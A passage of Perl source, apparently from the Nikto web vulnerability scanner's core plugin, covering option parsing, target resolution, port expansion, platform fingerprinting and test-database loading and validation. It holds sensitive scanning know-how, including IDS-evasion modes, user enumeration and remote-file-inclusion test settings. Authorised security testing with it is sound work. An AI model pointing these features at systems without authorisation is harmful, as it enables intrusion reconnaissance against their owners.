$CLI{'ipv4'} = 0; } else { $CLI{'ipv4'} = 1; } # 404string if ($CLI{'404string'} ne '') { my $s = validate_and_fix_regex($CLI{'404string'}); $VARIABLES{'ERRSTRINGS'}->{$s} = 1; } # 404code if ($CLI{'404code'} ne '') { foreach my $code (split(/\s?,\s?/, $CLI{'404code'})) { $code =~ s/^\s+|\s+$//g; # Trim whitespace if ($code =~ /[^\d]/) { nprint("+ ERROR: Invalid 404code, must be an integer"); exit 1; } $VARIABLES{'ERRCODES'}->{$code} = 1; } } # Maxtime must be seconds if ($CLI{'maxtime'} ne '') { $CLI{'maxtime'} = time_to_seconds($CLI{'maxtime'}); if ($CLI{'maxtime'} eq '') { nprint("+ ERROR: Invalid maxtime value, must be a valid time (e.g., 3600s, 60m, 1h)"); exit 1; } } # options allows overriding of nikto.conf entries on command line foreach my $option (@options) { my @optione = split("=", $option, 2); $CONFIGFILE{ $optione[0] } = $optione[1]; } # Userdb type: blank is db_tests only, so 'all' is only valid option if (defined($CLI{'userdbs'})) { if ($CLI{'userdbs'} =~ /^all$/i) { $CLI{'userdbs'} = 'all'; } else { $CLI{'userdbs'} = 'tests'; } } # CLI proxy overrides nikto.conf if ((defined($CLI{'useproxy'})) && ($CLI{'useproxy'} ne '')) { if ($CLI{'useproxy'} !~ /^https?:\/\//) { $CLI{'useproxy'} = "http://$CLI{'useproxy'}"; } my @prox = LW2::uri_split($CLI{'useproxy'}); $CONFIGFILE{'PROXYHOST'} = $prox[2]; $CONFIGFILE{'PROXYPORT'} = $prox[3]; $CONFIGFILE{'PROXYUSER'} = $prox[6]; $CONFIGFILE{'PROXYPASS'} = $prox[7]; } elsif (defined($CLI{'useproxy'})) { $CLI{'useproxy'} = 1; } else { undef $CONFIGFILE{'PROXYHOST'}; undef $CONFIGFILE{'PROXYPORT'}; undef $CONFIGFILE{'PROXYUSER'}; undef $CONFIGFILE{'PROXYPASS'}; } # Save Results if (defined($CLI{'saveresults'})) { if ($CLI{'saveresults'} eq '') { nprint("+ ERROR: -Save must have a directory name or '.' for auto-generated"); exit 1; } eval "require JSON::PP"; if ($@) { nprint("+ ERROR: Module JSON::PP missing."); exit 1; } } # Parse comma-separated formats early (before validation) my @formats_raw = (); if (defined $CLI{'format'} && $CLI{'format'} ne '') { @formats_raw = split(/,/, $CLI{'format'}); } # If no format specified, try to infer from file extension later my @formats = (); my %formats_hash = (); foreach my $fmt (@formats_raw) { $fmt =~ s/^\s+|\s+$//g; # Trim whitespace $fmt = lc($fmt); $fmt = 'txt' if $fmt eq 'text'; $fmt = 'htm' if $fmt eq 'html'; if ($fmt !~ /^(?:txt|htm|csv|json|sql|sqld|xml|none)$/) { nprint("+ ERROR: Invalid output format: $fmt"); exit 1; } # Avoid duplicates if (!exists $formats_hash{$fmt}) { push(@formats, $fmt); $formats_hash{$fmt} = 1; } } # Store formats array for later use $CLI{'formats'} = \@formats; # Keep first format for backward compatibility with single-format code paths $CLI{'format'} = $formats[0] if @formats > 0; # Check XML dependencies (check if xml is in formats) if (grep { $_ eq 'xml' } @formats) { eval "require XML::Writer"; if ($@) { nprint("+ ERROR: Module XML::Writer missing. Install with: cpan XML::Writer"); exit 1; } } # port(s) if (defined $CLI{'ports'}) { $CLI{'ports'} =~ s/^\s+//; $CLI{'ports'} =~ s/\s+$//; if ($CLI{'ports'} =~ /[^0-9\-\, ]/) { nprint("+ ERROR: Invalid port option '$CLI{'ports'}'"); exit 1; } } # output file - infer format from extension if not specified if (@formats == 0) { # No format specified, try to infer from file if (defined $CLI{'file'} && $CLI{'file'} ne '' && $CLI{'file'} ne '.') { my $ext = lc($CLI{'file'}); $ext =~ s/(^.*\.)([^.]*$)/$2/g; $ext = 'txt' if $ext eq 'text'; $ext = 'htm' if $ext eq 'html'; if ($ext =~ /^(?:txt|htm|csv|json|sql|sqld|xml)$/) { push(@formats, $ext); $CLI{'formats'} = \@formats; $CLI{'format'} = $ext; } else { $CLI{'format'} = 'none'; push(@formats, 'none'); $CLI{'formats'} = \@formats; } } else { $CLI{'format'} = 'none'; push(@formats, 'none'); $CLI{'formats'} = \@formats; } } # Check if we need files for any format my $needs_file = 0; foreach my $fmt (@formats) { if (($fmt ne "none") && ($fmt ne "sqld")) { $needs_file = 1; last; } } # Initialize files hash $CLI{'files'} = {}; # File naming logic if ($CLI{'file'} eq '.') { # Auto-generate file names for each format if (@formats == 0 || ($formats[0] eq '')) { nprint("+ ERROR: Output format must be used with auto file naming"); exit 1; } my $hn = $CLI{'host'}; $hn =~ s/[^a-zA-Z0-9\.\-\_]/_/g; $hn =~ s/_+/_/g; my $port = $CLI{'ports'}; $port =~ s/,/\-/g; $port =~ s/[^a-zA-Z0-9\.\-\_]/_/g; my $now = date_disp(time()); $now =~ s/[^0-9-]/-/g; my $base_name = "nikto_" . $hn . "_" . $port . "_" . $now; $base_name =~ s/_+/_/g; # Generate file names for each format foreach my $fmt (@formats) { next if ($fmt eq "none" || $fmt eq "sqld"); # These don't need files my $file_name = $base_name . "." . $fmt; # Check if file exists and add counter if needed if (-e $file_name) { $file_name =~ /^(.*)(\.[a-z]{3,4})/; my $fn = $1; my $ext = $2; my $ctr = 0; my $exists = 1; while ($exists) { $ctr++; my $new_name = $fn . "_" . $ctr . $ext; if (!-e $new_name) { $file_name = $new_name; $exists = 0; } } } $CLI{'files'}{$fmt} = $file_name; nprint("- Auto-generated save file: $file_name", "v", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } } elsif (defined $CLI{'file'} && $CLI{'file'} ne '' && $CLI{'file'} ne '.') { # Use filename as prefix, append format extensions my $prefix = $CLI{'file'}; # Generate file names for each format foreach my $fmt (@formats) { if ($fmt eq "none" || $fmt eq "sqld") { $CLI{'files'}{$fmt} = ""; # No file for these formats next; } # Append format extension to prefix only if not already present my $file_name; if ($prefix =~ /\.\Q$fmt\E$/i) { $file_name = $prefix; } else { $file_name = $prefix . "." . $fmt; } $CLI{'files'}{$fmt} = $file_name; } } else { # No file specified - only sqld/none formats allowed foreach my $fmt (@formats) { if ($fmt eq "none" || $fmt eq "sqld") { $CLI{'files'}{$fmt} = ""; } } } # Validation: If file-based formats are specified but no output file, default to auto-generation if ((!defined $CLI{'file'} || $CLI{'file'} eq '') && $needs_file) { $CLI{'file'} = '.'; # Re-run the auto-generation logic above (simplified, since formats are already parsed) my $hn = $CLI{'host'}; $hn =~ s/[^a-zA-Z0-9\.\-\_]/_/g; $hn =~ s/_+/_/g; my $port = $CLI{'ports'}; $port =~ s/,/\-/g; $port =~ s/[^a-zA-Z0-9\.\-\_]/_/g; my $now = date_disp(time()); $now =~ s/[^0-9-]+/-/g; my $base_name = "nikto_" . $hn . "_" . $port . "_" . $now; $base_name =~ s/_+/_/g; foreach my $fmt (@formats) { next if ($fmt eq "none" || $fmt eq "sqld"); my $file_name = $base_name . "." . $fmt; if (-e $file_name) { $file_name =~ /^(.*)(\.[a-z]{3,4})/; my $fn = $1; my $ext = $2; my $ctr = 0; my $exists = 1; while ($exists) { $ctr++; my $new_name = $fn . "_" . $ctr . $ext; if (!-e $new_name) { $file_name = $new_name; $exists = 0; } } } $CLI{'files'}{$fmt} = $file_name; nprint("- Auto-generated save file: $file_name", "v", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } } # Validation checks if ((defined $CLI{'file'}) && (@formats == 0 || ($formats[0] eq ""))) { nprint("+ ERROR: Output file specified without a format"); exit 1; } if ((!defined $CLI{'file'} || $CLI{'file'} eq '') && $needs_file && @formats > 0) { nprint("+ ERROR: Output file format specified without a name"); exit 1; } # verify readable dtd (check all formats for xml) if (grep { $_ eq 'xml' } @formats) { if (!defined $CONFIGFILE{'NIKTODTD'} || $CONFIGFILE{'NIKTODTD'} eq '') { nprint("+ ERROR: DTD not defined in configuration"); exit 1; } # Check if DTD file exists my $dtd_path = $CONFIGFILE{'NIKTODTD'}; if ($dtd_path !~ /^\// && defined $CONFIGFILE{'EXECDIR'}) { $dtd_path = "$CONFIGFILE{'EXECDIR'}/$dtd_path"; } if (!-f $dtd_path) { nprint("+ ERROR: DTD file not found: $dtd_path"); nprint("+ Please check your nikto.conf configuration"); exit 1; } } # screen output if (defined $CLI{'display'}) { if ($CLI{'display'} =~ /d/i) { $OUTPUT{'debug'} = 1; } if ($CLI{'display'} =~ /v/i) { $OUTPUT{'verbose'} = 1; } if ($CLI{'display'} =~ /s/i) { $OUTPUT{'scrub'} = 1; } if ($CLI{'display'} =~ /e/i) { $OUTPUT{'errors'} = 1; } if ($CLI{'display'} =~ /p/i) { $OUTPUT{'progress'} = 1; } if ($CLI{'display'} =~ /1/i) { $OUTPUT{'show_redirects'} = 1; } if ($CLI{'display'} =~ /2/i) { $OUTPUT{'show_cookies'} = 1; } if ($CLI{'display'} =~ /3/i) { $OUTPUT{'show_ok'} = 1; } if ($CLI{'display'} =~ /4/i) { $OUTPUT{'show_auth'} = 1; } } # Fixup if (defined $CLI{'root'}) { $CLI{'root'} =~ s/\/$//; if (($CLI{'root'} !~ /^\//) && ($CLI{'root'} ne "")) { $CLI{'root'} = "/$CLI{'root'}"; } } if (defined $CLI{'evasion'}) { $CLI{'evasion'} =~ s/[^1-8AB]//g; } if (!defined $CLI{'plugins'} || $CLI{'plugins'} eq "") { $CLI{'plugins'} = '@@DEFAULT'; } # Mapping for mutate for plugins if (defined $CLI{'mutate'}) { if ($CLI{'mutate'} =~ /1/ || $CLI{'mutate'} =~ /2/) { my $parameters; $parameters = "passfiles" if ($CLI{'mutate'} =~ /2/); $parameters .= ",all" if ($CLI{'mutate'} =~ /1/); $CLI{'plugins'} .= ';tests(' . $parameters . ')'; } if ($CLI{'mutate'} =~ /3/ || $CLI{'mutate'} =~ /4/) { my $parameters; $parameters = "enumerate"; $parameters .= ",home" if ($CLI{'mutate'} =~ /3/); $parameters .= ",cgiwrap" if ($CLI{'mutate'} =~ /4/); $parameters .= ",dictionary:" . $CLI{'mutate-options'} if (defined $CLI{'mutate-options'}); $CLI{'plugins'} .= ';apacheusers(' . $parameters . ')'; } if ($CLI{'mutate'} =~ /6/) { $CLI{'plugins'} .= ';dictionary(dictionary:' . $CLI{'mutate-options'} . ')'; } nprint( "- Mutate is deprecated, use -Plugins instead. The following option can be used in future: -Plugin $CLI{'plugins'}" ); } # Asking questions? if ($CLI{'ask'} =~ /^(?:auto|yes|no)$/) { $CONFIGFILE{'UPDATES'} = $CLI{'ask'}; # override nikto.conf setting undef($CLI{'ask'}); } $CLI{'timeout'} = $CLI{'timeout'} || 10; # RFI URL -- push it to VARIABLES if (defined $CONFIGFILE{'RFIURL'}) { $VARIABLES{'@RFIURL'} = $CONFIGFILE{'RFIURL'}; } else { nprint("- ***** RFIURL is not defined in nikto.conf--no RFI tests will run *****"); } # SSL Test if (!LW2::ssl_is_available()) { nprint("- ***** TLS/SSL support not available (see docs for SSL install) *****"); if ($CLI{'ssl'} || ($CLI{'host'} =~ /^https/i)) { nprint("- ERROR: -ssl was specified but TLS/SSL is not available."); exit 1; } } # get core version open(FI, "<$CONFIGFILE{'PLUGINDIR'}/nikto_core.plugin"); my @F = ; close(FI); my @VERS = grep(/^#VERSION/, @F); $VARIABLES{'core_version'} = $VERS[0]; $VARIABLES{'core_version'} =~ s/\#VERSION,//; chomp($VARIABLES{'core_version'}); $VARIABLES{'TEMPL_HCTR'} = 0; if ($^O !~ /MSWin32/) { $NIKTO{'POSIX'}{'fd_stdin'} = fileno(STDIN); $NIKTO{'POSIX'}{'term'} = POSIX::Termios->new(); $NIKTO{'POSIX'}{'term'}->getattr($NIKTO{'POSIX'}{'fd_stdin'}); $NIKTO{'POSIX'}{'oterm'} = $NIKTO{'POSIX'}{'term'}->getlflag(); $NIKTO{'POSIX'}{'echo'} = ECHOE | ECHO | ECHOK | ICANON; $NIKTO{'POSIX'}{'noecho'} = $NIKTO{'POSIX'}{'oterm'} & ~$NIKTO{'POSIX'}{'echo'}; } if ($CLI{'pause'} > 0) { nprint("-***** Pausing $CLI{'pause'} second(s) per request"); } # Default values $COUNTERS{'totalrequests'} = 0; $COUNTERS{'total_checks'} = 0; $COUNTERS{'total_targets'} = 0; $VARIABLES{'GMTOFFSET'} = gmt_offset(); $VARIABLES{'DIV'} = "-" x 75; $VARIABLES{'deferout'} = 0; $VARIABLES{'defertxt'} = []; # Some Win versions can't use Time::HiRes correctly $VARIABLES{'MSWIN32'} = 0; if ($^O =~ /MSWin32/) { $VARIABLES{'MSWIN32'} = 1; } return; } ############################################################################### sub time_to_seconds { my $time = $_[0] || return; if ($time =~ /m$/i) { $time =~ s/m$//i; $time = ($time * 60); } elsif ($time =~ /h$/i) { $time =~ s/h$//i; $time = ($time * 3600); } elsif ($time =~ /s$/i) { $time =~ s/s$//i; } return $time; } ############################################################################### sub sleeper { sleep($CLI{'pause'}) if defined $CLI{'pause'}; } ############################################################################### sub safe_quit { my ($mark) = @_; # When called as a signal handler, $mark is the signal name (e.g. "INT"), not a hashref if (!ref($mark)) { $mark = $NIKTO{'current_mark'}; } if (ref($mark)) { $mark->{'end_time'} = time(); $mark->{'elapsed'} = $mark->{'end_time'} - $mark->{'start_time'}; $COUNTERS{'scan_elapsed'} = (time() - $COUNTERS{'scan_start'}); report_host_end($mark); report_summary($mark); report_close($mark); } $NIKTO{'POSIX'}{'term'}->setlflag($NIKTO{'POSIX'}{'oterm'}) if ($^O !~ /MSWin32/); exit 1; } ############################################################################### sub check_input { my ($mark) = @_; my $key = readkey(); return if $key eq ''; # Key to OUTPUT field mapping for toggles my %toggles = (v => 'verbose', d => 'debug', e => 'errors', p => 'progress', r => 'show_redirects', c => 'show_cookies', o => 'show_ok', a => 'show_auth', ); if ($key eq ' ') { status_report($mark); } elsif (exists $toggles{$key}) { $OUTPUT{ $toggles{$key} } = !$OUTPUT{ $toggles{$key} }; } elsif ($key eq 'q' || ord($key) == 3) { safe_quit($mark); } elsif ($key eq 'P') { status_report($mark); pause(); } elsif ($key eq 'N') { nprint("- Terminating host scan."); return 'term'; } return; } ############################################################################### sub pause { return if ($^O =~ /MSWin32/); nprint("- Pausing--press P to resume."); while (readkey() ne 'P') { sleep 1; } nprint("- Resuming."); } ############################################################################### sub readkey { return if $^O =~ /MSWin32/; # Early return for Windows my $key; $NIKTO{'POSIX'}{'term'}->setlflag($NIKTO{'POSIX'}{'noecho'}); $NIKTO{'POSIX'}{'term'}->setattr($NIKTO{'POSIX'}{'fd_stdin'}, TCSANOW); eval { local $SIG{ALRM} = sub { die; }; ualarm(1_000); sysread(STDIN, $key, 1); ualarm(0); }; $NIKTO{'POSIX'}{'term'}->setlflag($NIKTO{'POSIX'}{'oterm'}); $NIKTO{'POSIX'}{'term'}->setattr($NIKTO{'POSIX'}{'fd_stdin'}, TCSANOW); return $key; } ############################################################################### sub resolve { my $ident = $_[0] or return; my $report = defined $_[1] ? $_[1] : 1; my ($ip, $name, $ipcache) = ""; my (@addresses, @scrub); my $is6 = 0; if (($CONFIGFILE{'PROXYHOST'} ne '') && $CLI{'useproxy'}) { return $ident, $ident, $ident; } if ($ident =~ /^$LW2::IPv4_re$/) { # ident is IPv4 $ip = $name = $ident; } elsif ($ident =~ /^\[?($LW2::IPv6_re_inc_zoneid)\]?$/) { $ip = $1; $name = $ident; # HTTP host header uses [IPv6] rather than the raw IPv6 address } else # not an IP, assume name & resolve { if ($CLI{'skiplookup'}) { nprint("+ ERROR: -nolookup set, but given name\n"); exit 1; } if ($LW2::LW2_CAN_IPv6) { # IPv4/v6 resolve use Socket qw(:addrinfo SOCK_RAW); my ($err, @res) = Socket::getaddrinfo($ident, "", { socktype => SOCK_RAW }); if ($err) { my $msg = "ERROR: Cannot resolve hostname '$ident' because '$err'."; if ($ident =~ /^\[?($LW2::IPv6_re_inc_zoneid)\]?$/) { $msg .= " Use the -ipv6 flag if needed."; } if ($CLI{'ipv6'}) { $msg .= " Ensure you have IPv6 connectivity. Trying running Nikto with the '-check6' flag."; } return $ident, '', $ident, $msg; } foreach my $res (@res) { my ($err, $ip) = Socket::getnameinfo($res->{addr}, NI_NUMERICHOST, NIx_NOSERV); push @addresses, $ip unless $err; } } else { # Traditional IPv4 resolve if ($hent = gethostbyname($ident)) { my $addr_ref = $hent->addr_list; @addresses = map { inet_ntoa($_) } @$addr_ref; } } my @temp4_ipcache; my @temp6_ipcache; my %seen; foreach $temp_ip (@addresses) { if ($temp_ip =~ /:/) { push @temp6_ipcache, $temp_ip if !$seen{$temp_ip}++; } else { push @temp4_ipcache, $temp_ip if !$seen{$temp_ip}++; } } $ip = ($CLI{'ipv6'}) ? shift @temp6_ipcache : shift @temp4_ipcache; push(@scrub, $ip, @temp4_ipcache, @temp6_ipcache); $ipcache = join ", ", (@temp4_ipcache, @temp6_ipcache); if ($ip eq '') { if ($CLI{'ipv6'} && scalar @temp4_ipcache) { nprint( "+ ERROR: IPv6 scanning mode requested but only IPv4 addresses found ($ipcache)" ); } elsif ($CLI{'ipv4'} && scalar @temp6_ipcache) { nprint( "+ ERROR: IPv4 scanning mode requested but only IPv6 addresses found ($ipcache)" ); } exit 1; } if ($ipcache ne "" && $report) { nprint("+ Multiple IPs found: $ip, $ipcache", "", @scrub); } if ( $ip !~ /^$LW2::IPv4_re$/ && $ip !~ /^$LW2::IPv6_re$/) { nprint("+ ERROR: Invalid IP: $ip\n\n", "", ($ident, $ip, $ident)); exit 1; } $name = $ident; } my $displayname = ($name) ? $name : $ip; return $name, $ip, $displayname; } ############################################################################### sub set_targets { my ($hostlist, $portlist, $ssl, $root) = @_; my $host_ctr = 1; my @hosts = split(/,/, $hostlist); my @tempports = split(/,/, $portlist) if defined $portlist; my (@ports, @checkhosts, @results, @marks); my $defaultport = ($ssl) ? 443 : 80; nprint("- Getting targets", "v", "Init"); # Check for portlist and expand foreach my $port (@tempports) { if ($port =~ /-/) { my ($start, $end); my @temp = split(/-/, $port); $start = $temp[0]; $end = $temp[1]; if ($start eq "") { $start = 0; } if ($end eq "") { $end = 65535; } if ($start > $end) { nprint("+ ERROR port range $port doesn't make sense - assuming 80/tcp"); next; } for (my $i = $start ; $i <= $end ; $i++) { push(@ports, $i); } } else { push(@ports, $port); } } # no ports explicitly set, so use default port if (scalar(@ports) == 0) { push(@ports, $defaultport); } # check whether -h is a file or an entry foreach my $host (@hosts) { if (-f $host || $host eq "-") { @results = parse_hostfile($host); push(@checkhosts, @results); } else { push(@checkhosts, $host); } } # Now parse the list of checkhosts foreach my $host (@checkhosts) { $host =~ s/\s+//g; if ($host eq '') { next; } my $markhash = {}; $markhash->{'root'} = $root; $markhash->{'cookiejar'} = LW2::cookie_new_jar(); # is it a URL? if ($host =~ /^https?:\/\//) { if ($CLI{'ports'} ne '') { nprint("- ERROR: The -port option cannot be used with a full URI"); exit 1; } my @hostdata = LW2::uri_split($host); $markhash->{'ident'} = $hostdata[2]; $markhash->{'port'} = $hostdata[3]; if ($markhash->{'port'} eq '') { if ($host =~ /^https:/) { $markhash->{'port'} = 443; } else { $markhash->{'port'} = $defaultport; } } # If URL included a path, add that as the root unless -root was specified if (($hostdata[0] ne '/') && ($hostdata[0] ne '') && ($markhash->{'root'} eq '')) { $hostdata[0] =~ s/\/$//; $markhash->{'root'} = $hostdata[0]; nprint("- Added -root value of '$hostdata[0]' from URI", "v", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } push(@marks, $markhash); } else { if ((index $host, '[') == 0) { # looks like accepted IPv6 format if ($host =~ /^(\[?$LW2::IPv6_re_inc_zoneid\]?)(?:[:](\d+))?$/) { $markhash->{'ident'} = $1; $markhash->{'port'} = $2; push(@marks, $markhash); } else { nprint("- ERROR: Unrecognised target host format: $host", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } } else { my @h = split(/\:|\,/, $host); if (scalar @h > 2 || $h[0] eq '') { # Possible invalid IPv6 format has been supplied nprint( "- ERROR: Target host '$host' contains more than one colon (:). If specifying an IPv6 target, use the [IPv6] format.", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'}) ); } else { $markhash->{'ident'} = $h[0]; if ($h[1] !~ /[^0-9]/ && $h[1] ne '') { $markhash->{'port'} = $h[1]; push(@marks, $markhash); } else { # push unique array ref for each port my $ti = $markhash->{'ident'}; my $tr = $markhash->{'root'}; foreach my $p (@ports) { my $markhash = { 'port' => $p, 'root' => $tr, 'ident' => $ti }; $markhash->{'port'} = $p; push(@marks, $markhash); } } } } } } return @marks; } ############################################################################### sub platform_profiler { if (defined $CLI{'platform'}) { if ($CLI{'platform'} =~ /(nix|win|all)/i) { return $CLI{'platform'}; } else { $VARIABLES{'deferout'} = 0; nprint("+ ERROR: Invalid platform: $CLI{'platform'}"); exit 1; } } my ($mark) = @_; my @profile_pages = ("/", "/server-status", "/icons/", "/trace.axd", "/nosuchfile.asp", "/nosuchfile.aspx", "/localstart.asp", "/docs/", "/server" ); foreach my $file (@profile_pages) { my ($res, $content, $error, $request, $response) = nfetch($mark, $file, "GET", "", "", "", "platform_profiler"); # Look for indicators of the platform in the Server header if ( $mark->{'banner'} && $VARIABLES{'@PLATFORMNIX'} && $mark->{'banner'} =~ /$VARIABLES{'@PLATFORMNIX'}/i) { return 'nix'; } elsif ( $mark->{'banner'} && $VARIABLES{'@PLATFORMWIN'} && $mark->{'banner'} =~ /$VARIABLES{'@PLATFORMWIN'}/i) { return 'win'; } # check the response body if ($content && $content =~ /$VARIABLES{'@PLATFORMNIX'}/i) { return 'nix'; } elsif ($content && $content =~ /$VARIABLES{'@PLATFORMWIN'}/i) { return 'win'; } # check the response headers if ($response && ref($response) eq 'HASH') { foreach my $header (keys %$response) { my $value = $response->{$header}; next unless defined $value; # Check header name if ($header =~ /$VARIABLES{'@PLATFORMNIX'}/i) { return 'nix'; } elsif ($header =~ /$VARIABLES{'@PLATFORMWIN'}/i) { return 'win'; } # Check header value (handle arrays) my $header_value = ref($value) eq 'ARRAY' ? join(', ', @$value) : $value; if ($header_value =~ /$VARIABLES{'@PLATFORMNIX'}/i) { return 'nix'; } elsif ($header_value =~ /$VARIABLES{'@PLATFORMWIN'}/i) { return 'win'; } } } } return 'all'; } ############################################################################### sub load_databases { my @dbs = qw/db_useragents db_404_strings db_outdated db_variables db_headers_suggested/; my $prefix = $_[0] || ''; # Only load the right databases if -Userdbs is set if ((defined($CLI{'userdbs'})) && ($CLI{'userdbs'} eq 'all')) { if ($prefix eq '') { return; } else { push(@dbs, 'db_tests'); } } if (($prefix eq 'u') || (!defined($CLI{'userdbs'}))) { push(@dbs, 'db_tests'); } # verify required files for my $file (@dbs) { if (!-r "$CONFIGFILE{'DBDIR'}/$file") { nprint("+ ERROR: Can't find/read required file \"$CONFIGFILE{'DBDIR'}/$file\""); exit 1; } } for my $file (@dbs) { my $filename = $CONFIGFILE{DBDIR} . "/" . $prefix . $file; if (!-r $filename) { next; } nprint("- Loading DB: $filename", "d"); open(IN, "<$filename") || die nprint("+ ERROR: Can't open \"$filename\":$@\n"); # db_tests if ($file =~ /u?db_tests/) { push(@DBFILE, ); next; } # all the other files require per-line processing else { my @file; # Cleanup while () { chomp; $_ =~ s/#.*$//; $_ =~ s/\s+$//; $_ =~ s/^\s+//; if ($_ ne "") { push(@file, $_); } } # db_variables if ($file =~ /u?db_variables/) { foreach my $l (@file) { if ($l =~ /^@/) { next if $l eq ''; my @temp = split(/=/, $l, 2); # Limit to 2 parts to handle = in values if ( @temp >= 2 && defined($temp[0]) && defined($temp[1]) && $temp[0] ne '' && $temp[1] ne '') { $temp[0] =~ s/^\s+|\s+$//g; $VARIABLES{ $temp[0] } = $temp[1]; } } } } # db_headers_suggested elsif ($file =~ /u?db_headers_suggested/) { foreach my $l (@file) { my @T = parse_csv($l); next if $T[0] eq ''; $VARIABLES->{'SUGGESTED_HEADERS'}->{ $T[0] } = $T[1]; } } # db_404_strings elsif ($file =~ /u?db_404_strings/) { foreach my $l (@file) { if ($l =~ /^\@CODE=/) { $l =~ s/^\@CODE=//; $l = validate_and_fix_regex($l); $VARIABLES{'ERRCODES'}->{$l} = 1; } else { $l = validate_and_fix_regex($l); $VARIABLES{'ERRSTRINGS'}->{$l} = 1; } } } # db_outdated elsif ($file =~ /u?db_outdated/) { foreach my $l (@file) { my @T = parse_csv($l); next if $T[1] eq ''; $T[1] = validate_and_fix_regex($T[1]); $OVERS{ $T[1] }{ $T[2] } = $T[3]; $OVERS{ $T[1] }{'tid'} = $T[0]; } } # db_useragents elsif ($file =~ /u?db_useragents/) { $VARIABLES{'@USERAGENTS'} = []; foreach my $l (@file) { next if $l =~ /^\#/; next if $l eq ''; $l =~ s/^\s+//; $l =~ s/\s+$//; push @{ $VARIABLES{'@USERAGENTS'} }, $l; } } close(IN); } } return; } ############################################################################### # Get directory listing sub dirlist { my $DIR = $_[0] || return; my $PATTERN = $_[1] || ""; my @FILES_TMP = (); opendir(DIRECTORY, $DIR) || die print STDERR "+ ERROR: Can't open directory '$DIR': $@"; foreach my $file (readdir(DIRECTORY)) { if ($file =~ /^\./) { next; } # skip hidden files, '.' and '..' if ($PATTERN ne "") { if ($file =~ /$PATTERN/) { push(@FILES_TMP, $file); } } else { push(@FILES_TMP, $file); } } closedir(DIRECTORY); return @FILES_TMP; } ############################################################################### sub check_dbs { @dbs = dirlist($CONFIGFILE{'DBDIR'}, "^u?db_*"); my %ALL_IDS; for my $file (@dbs) { my $filename = $CONFIGFILE{DBDIR} . "/" . $prefix . $file; if (!-r $filename) { nprint("+ ERROR: Unable to read \"$filename\""); next; } open(IN, "<$filename") || die nprint("+ ERROR: Can't open \"$filename\":$@\n"); nprint("Syntax Check: $filename"); if ($file =~ /u?db_outdated/) { my $count = 0; my %BANNER; foreach $line () { $line =~ s/^\s+//; if ($line =~ /^\#/) { next; } chomp($line); if ($line eq "" || $line =~ /"nikto_id"/) { next; } $count++; my @L = parse_csv($line); if ($#L ne 3) { nprint("\t+ ERROR: Invalid syntax ($#L): $line"); next; } if (($L[0] ne 0) && exists($ALL_IDS{ $L[0] })) { nprint("\t+ ERROR: Duplicate Test ID: $L[0]"); } else { $ALL_IDS{ $L[0] } = 1; } if (exists($BANNER{ $L[1] }) && $L[0] !~ /(600067|600068|601085)/i) { nprint("\t+ ERROR: Duplicate Server Banner: $line"); nprint( "\t+ If this expected/needed: Please add the ID $L[0] at line " . (__LINE__- 2) . " in the nikto_core.plugin."); } else { $BANNER{ $L[1] } = 1; } } nprint("\t$count entries"); } elsif ($file =~ /u?db_favicon/ || $file =~ /u?db_domino/) { my $counter = 0; my %ENTRY; foreach $line () { $line =~ s/^\s+//; if ($line =~ /^\#/) { next; } chomp($line); if ($line eq "" || $line =~ /"nikto_id"/) { next; } $counter++; my @L = parse_csv($line); if ($#L ne 2) { nprint("\t+ ERROR: Invalid syntax ($#L): $line"); next; } if (($L[0] ne 0) && exists($ALL_IDS{ $L[0] })) { nprint("\t+ ERROR: Duplicate Test ID: $L[0]"); } else { $ALL_IDS{ $L[0] } = 1; } if (exists($ENTRY{ $L[1] })) { nprint("\t+ ERROR: Duplicate entry: $line"); } else { $ENTRY{ $L[1] } = 1; } } nprint("\t$counter entries"); } elsif ($file =~ /u?db_tests/) { my %ENTRIES; foreach my $line () { chomp($line); $line =~ s/^\s+//; if ($line =~ /^\#|^$/) { next; } my @L = parse_csv($line); # Validate field count (should be 9 fields) if ((count_fields($line, 1) ne 8) && (count_fields($line) ne '')) { nprint( "\t+ ERROR: Invalid syntax - expected 9 fields, got " . (scalar(@L)) . ": $line"); next; } # Validate method if ( ($L[4] !~ /(GET|POST|TRACE|TRACK|OPTIONS|SEARCH|INDEX)/i) && ($L[0] ne '006433')) { nprint("\t+ ERROR: Possibly invalid method: $L[4] on ($line)"); } # Validate DSL field is not empty if ($L[5] eq "") { nprint("\t+ ERROR: blank DSL field: $line"); next; } # Validate DSL syntax my $dsl_to_validate = $L[5]; if (defined $dsl_to_validate && length $dsl_to_validate) { # Expand @LFI() placeholder before validation, since it needs to be expanded to be valid DSL $dsl_to_validate = expand_lfi_dsl($dsl_to_validate); if (defined $dsl_to_validate && length $dsl_to_validate) { eval { parse_dsl($dsl_to_validate); }; if ($@) { nprint( "\t+ ERROR: Invalid DSL syntax in test $L[0] field 5: \"$L[5]\", error: $@" ); } } else { nprint("\t+ ERROR: Empty DSL field test $L[0]"); } } # Validate URI format if (($L[3] =~ /^\@CG/) && ($L[3] !~ /^\@CGIDIRS/)) { nprint("\t+ ERROR: Possible \@CGIDIRS misspelling: $line"); } if ($L[3] =~ /[\s]/) { nprint("\t+ ERROR: space in file portion test #$L[0]: '$L[3]'"); } # Validate CSV format if ($line =~ /[^\\]"\s/) { nprint("\t+ ERROR: space after quote #$L[0]: $line"); } if ($line =~ /\s"/) { nprint("\t+ ERROR: space before quote #$L[0]: $line"); } # Check for duplicate entries $ENTRIES{"$L[3],$L[4],$L[5],$L[6],$L[7],$L[8]"}++; # Validate Test ID if (($L[0] ne 0) && exists($ALL_IDS{ $L[0] })) { nprint("\t+ ERROR: Duplicate Test ID: $L[0]"); } else { $ALL_IDS{ $L[0] } = 1; } # Validate Tuning Type if ($L[2] eq "" || $L[2] =~ /[^a-f0-9]/) { nprint("\t+ ERROR: Invalid Tuning Type: $line"); } # Validate URI patterns if ( $L[3] =~ '^(/@(?!JUNK)|//)' && $L[0] !~ /(000396|000447|000543|000544|000545|000928|000929|001208|001373|001497|002761|002762|003029|007152)/i ) { nprint("\t+ ERROR: Possible incorrect slashes: $line"); nprint( "\t+ If two or more slashes are needed for this test: Please add the ID $L[0] at line " . (__LINE__- 2) . " in the nikto_core.plugin."); } if ($L[3] =~ '^@(?!JUNK)[A-Z]+/' && $L[0] !~ /(003348|003349)/i) { nprint("\t+ ERROR: Possible incorrect slash 